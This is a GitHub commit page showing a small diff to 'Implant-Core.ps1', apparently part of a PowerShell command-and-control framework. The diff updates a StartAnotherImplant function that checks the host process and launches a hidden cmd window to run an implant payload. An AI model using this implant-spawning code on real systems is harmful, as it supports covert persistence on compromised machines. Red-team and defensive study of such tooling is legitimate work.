Skip to content

Commit

Permalink
Updated startanotherimplant to prompt if not running powershell.exe
Browse files Browse the repository at this point in the history
  • Loading branch information
benpturner committed Aug 28, 2017
1 parent 8481f6b commit 7315235
Showing 1 changed file with 7 additions and 3 deletions.
10 changes: 7 additions & 3 deletions Modules/Implant-Core.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -34,10 +34,14 @@ $global:ImpUpgrade = $False
CheckArchitecture
CheckVersionTwo
Function StartAnotherImplant {
if ($global:ImpUpgrade) {
start-process -windowstyle hidden cmd -args "/c `"$env:windir\sysnative\windowspowershell\v1.0\$payload`""
if (($p = Get-Process | ? {$_.id -eq $pid}).name -ne "powershell") {
echo "Process is not powershell, try running migrate-x86 or migrate-64"
} else {
start-process -windowstyle hidden cmd -args "/c $payload"
if ($global:ImpUpgrade) {
start-process -windowstyle hidden cmd -args "/c `"$env:windir\sysnative\windowspowershell\v1.0\$payload`""
} else {
start-process -windowstyle hidden cmd -args "/c $payload"
}
}
}
sal S StartAnotherImplant
Expand Down

0 comments on commit 7315235

Please sign in to comment.